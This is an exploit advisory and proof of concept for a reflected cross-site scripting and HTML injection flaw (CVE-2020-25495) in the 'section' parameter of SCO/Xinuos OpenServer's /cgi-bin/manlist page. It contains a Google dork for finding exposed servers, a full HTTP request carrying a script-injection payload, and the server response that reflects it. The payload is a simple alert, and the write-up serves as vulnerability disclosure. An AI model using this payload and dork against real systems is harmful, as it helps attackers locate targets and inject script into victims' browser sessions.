# Exploit Title: SCO Openserver 5.0.7 - 'section' Reflected XSS
# Google Dork: inurl:/cgi-bin/manlist?section
# Discovered Date: 14/06/2020
# Author: Ramikan
# Vendor Homepage: https://www.xinuos.com/products
# Software Link: https://www.sco.com/products/openserver507/-overview
# Affected Version: Tested on 5.0.7, 6 can be affected on other versions.
# Tested on: SCO Openserver 5.0.7 & version 6
# CVE : CVE-2020-25495
*************************************************************************************************************************************
Vulnerability :Refelected XSS & HTML Injection
*************************************************************************************************************************************
A reflected Cross-site scripting (XSS) vulnerability in Xinuo (formerly SCO) Openserver version 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section'.
Affected URL:http://host:8457/cgi-bin/manlist?section="><h1>hello</h1><script>alert(123)</script>
Affected Paramenter: section
*************************************************************************************************************************************
POC
*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
GET /cgi-bin/manlist?section="><h1>hello</h1><script>alert(123)</script> HTTP/1.1
Host: 192.168.20.48:8457
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
*************************************************************************************************************************************
Response:
*************************************************************************************************************************************
HTTP/1.1 200 OK
Date: Thu, 03 Sep 2020 17:08:51 GMT
Server: Apache/1.3.36 (Unix) mod_perl/1.29
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 2680
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Manual section "><h1>hello</h1></P><script>alert(123)</script></title>
<META HTTP-EQUIV='Content-Type' CONTENT='text/html;charset=ISO-8859-1'>
<link rel="stylesheet" type="text/css" href="/styles/lin_moz.css" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body bgcolor="#FFFFFF" topmargin="0" marginheight="0">
<!-- Begin DocView navigation toolbar -->
<!--htdig_noindex-->
<table
class=dvtb
width="100%"
cellpadding=0
cellspacing=0
border=0
style="padding: 0;"
>
<tr valign=top class=dvtb>
<td class=dvdb>
<table
class=dvtb
cellpadding=3
cellspacing=1
border=0
bgcolor=#FFFFFF
width=611
>
<tr class=dvtb>
<td class=dvtb align=center style="background: #2059A6;">
<a href="/en/index.html" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;">
DOC HOME
</a></td>
<td class=dvtb align=center style="background: #2059A6;">
<a href="/en/Navpages/sitemap.html" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;">
SITE MAP
</a></td>
<td class=dvtb align=center style="background: #2059A6;">
<a href="/cgi-bin/manform?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;">
MAN PAGES
</a></td>
<td class=dvtb align=center style="background: #2059A6;">
<a href="/cgi-bin/infocat?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;">
GNU INFO
</a></td>
<td class=dvtb align=center style="background: #2059A6;">
<a href="/cgi-bin/search?lang=en" class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;">
SEARCH
</a></td>
</tr>
</table>
</td>
<td class=dvtb align="left" width=100%>
<table
class=dvtb
cellpadding="3"
cellspacing="1"
border="0"
width="100%"
bgcolor="#FFFFFF"
>
<tr class=dvtb valign="top">
<td class=dvtb style="background: #2059A6;" align=center width=100%>
<a name=null class="dvtb" style="font-size: 10pt; font-family: verdana,helvetica,arial; font-weight: bold; color: #FFFFFF; background: #2059A6;" >
</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!--/htdig_noindex-->
<!-- End DocView navigation toolbar -->
<h1>Manual section<h1>Manual section "><h1>hello</h1></P><script>alert(123)</script></h1><PRE>
</PRE>
</body></html>
